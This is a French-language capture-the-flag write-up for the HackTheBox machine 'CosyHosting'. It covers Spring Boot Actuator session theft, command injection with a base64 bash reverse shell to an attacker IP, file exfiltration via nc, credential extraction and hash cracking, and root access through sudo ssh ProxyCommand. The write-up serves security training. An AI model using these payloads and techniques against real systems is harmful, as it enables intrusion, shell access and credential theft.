CosyHosting - HackTheBox
Vue d'Ensemble
| Propriété | Valeur |
|---|---|
| IP | 10.10.11.230 |
| OS | Linux |
| Difficulté | Easy |
| Points Clés | Spring Boot Actuator, Command Injection, SSH ProxyCommand Abuse |
Phase 1 : Reconnaissance
Scan de Ports
nmap -p- --min-rate 10000 10.10.11.230
nmap -p 22,80 -sCV 10.10.11.230
Ports importants :
- 22 : SSH
- 80 : HTTP (nginx 1.18.0)
Configuration DNS
echo "10.10.11.230 cozyhosting.htb" | sudo tee -a /etc/hosts
Phase 2 : Énumération Web
Découverte de Répertoires
feroxbuster -u http://cozyhosting.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Découvertes importantes :
/actuator- Spring Boot Actuator endpoints/admin- Interface d'administration
Phase 3 : Exploitation Spring Boot Actuator
Énumération des Endpoints
Endpoints exposés :
/actuator/sessions- Sessions actives/actuator/mappings- Mappings de routes/actuator/env- Variables d'environnement
Vol de Session
Récupération des sessions actives :
curl http://cozyhosting.htb/actuator/sessions | jq
Résultat exemple :
{
"4E3784FE9Y": "kanderson",
"8A7F2C1D3B": "admin"
}
Utilisation de la Session
Dans le navigateur :
- Ouvrir DevTools (F12)
- Application → Cookies
- Modifier
JSESSIONIDavec la valeur récupérée - Recharger
/admin
Résultat : Accès au panneau d'administration.
Phase 4 : Command Injection via /executessh
Analyse de la Fonctionnalité
L'interface admin propose une fonctionnalité qui exécute :
ssh -i [key] [username]@[host]
Vulnérabilité : Le paramètre username est injecté sans validation.
Contrainte : Les espaces sont filtrés.
Bypass du Filtre d'Espaces
Techniques :
- Utiliser
${IFS}(Internal Field Separator) - Utiliser l'expansion d'accolades
{cmd,arg1,arg2}
Préparation du Listener
nc -lvnp 9001
Payload de Reverse Shell
Encodage du payload en base64 :
echo 'bash -i >& /dev/tcp/10.10.14.122/9001 0>&1' | base64
# Résultat: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjIvOTAwMSAwPiYxCg==
Payload d'injection :
;echo${IFS}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjIvOTAwMSAwPiYxCg=="|base64${IFS}-d|bash;
Alternative avec expansion d'accolades :
0xdf;{ping,-c,1,10.10.14.6};#
Exécution de l'Exploit
Requête POST vers /executessh via Burp Suite :
POST /executessh HTTP/1.1
Host: cozyhosting.htb
Cookie: JSESSIONID=<session_volée>
Content-Type: application/x-www-form-urlencoded
host=example.com&username=;echo${IFS}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjIvOTAwMSAwPiYxCg=="|base64${IFS}-d|bash;
Résultat : Shell en tant que www-data.
Amélioration du Shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# ou
script /dev/null -c bash
Phase 5 : Post-Exploitation - Accès à Josh
Récupération du JAR
Transfert du fichier :
# Sur la cible
cat /app/cloudhosting-0.0.1.jar | nc 10.10.14.122 443
# Sur l'attaquant
nc -lvnp 443 > cloudhosting-0.0.1.jar
Extraction des Credentials
Décompression du JAR :
unzip cloudhosting-0.0.1.jar
cat BOOT-INF/classes/application.properties
Credentials trouvés :
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR
Connexion à PostgreSQL
PGPASSWORD='Vg&nvzAQ7XxR' psql -U postgres -h localhost -d cozyhosting
Extraction des utilisateurs :
\dt
SELECT * FROM users;
Hashes récupérés :
kanderson:$2a$10$E/...
admin:$2a$10$SpK...
Craquage des Hashes
hashcat -m 3200 --user hashes.txt /usr/share/wordlists/rockyou.txt
hashcat --show -m 3200 hashes.txt
Résultat : admin:manchesterunited
Connexion SSH
ssh [email protected]
# Mot de passe: manchesterunited
ou
sshpass -p manchesterunited ssh [email protected]
🚩 Flag User
cat /home/josh/user.txt
🚩 Flag User: HTB{...}
Phase 6 : Escalade Root
Énumération des Privilèges Sudo
sudo -l
Résultat : (root) /usr/bin/ssh *
Exploitation via ProxyCommand
Principe : L'option ProxyCommand de SSH est exécutée localement avec les privilèges de l'utilisateur lançant SSH (ici root via sudo).
Méthode 1 : Shell interactif immédiat
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
Méthode 2 : Copie de bash avec SUID
# Copier bash
sudo ssh -o ProxyCommand='cp /bin/bash /tmp/0xdf' localhost
# Définir SUID
sudo ssh -o ProxyCommand='chmod 6777 /tmp/0xdf' localhost
# Lancer le shell root
/tmp/0xdf -p
Méthode 3 : Création de fichier root
sudo ssh -o ProxyCommand='touch /tmp/pwned' x
ls -la /tmp/pwned
🚩 Flag Root
cat /root/root.txt
🚩 Flag Root: HTB{...}
Compétences Développées
- Exploitation de Spring Boot Actuator
- Vol et manipulation de sessions
- Command injection avec bypass de filtres
- Extraction de credentials depuis JAR files
- Exploitation de sudo via ProxyCommand SSH
Outils Utilisés
nmap- Reconnaissance réseauferoxbuster- Énumération webcurl+jq- Interaction avec APIburpsuite- Manipulation de requêtes HTTPnc- Reverse shellpsql- Client PostgreSQLhashcat- Craquage de mots de passessh/sshpass- Connexion distante
Bonnes Pratiques
- Limiter l'exposition des endpoints Spring Boot Actuator en production
- Ne jamais laisser de credentials en clair dans les artefacts déployés
- Restreindre les privilèges sudo avec des règles précises
- Valider et échapper toutes les entrées utilisateur
Références
- Spring Boot Actuator Security
- SSH ProxyCommand Exploitation
- GTFOBins - SSH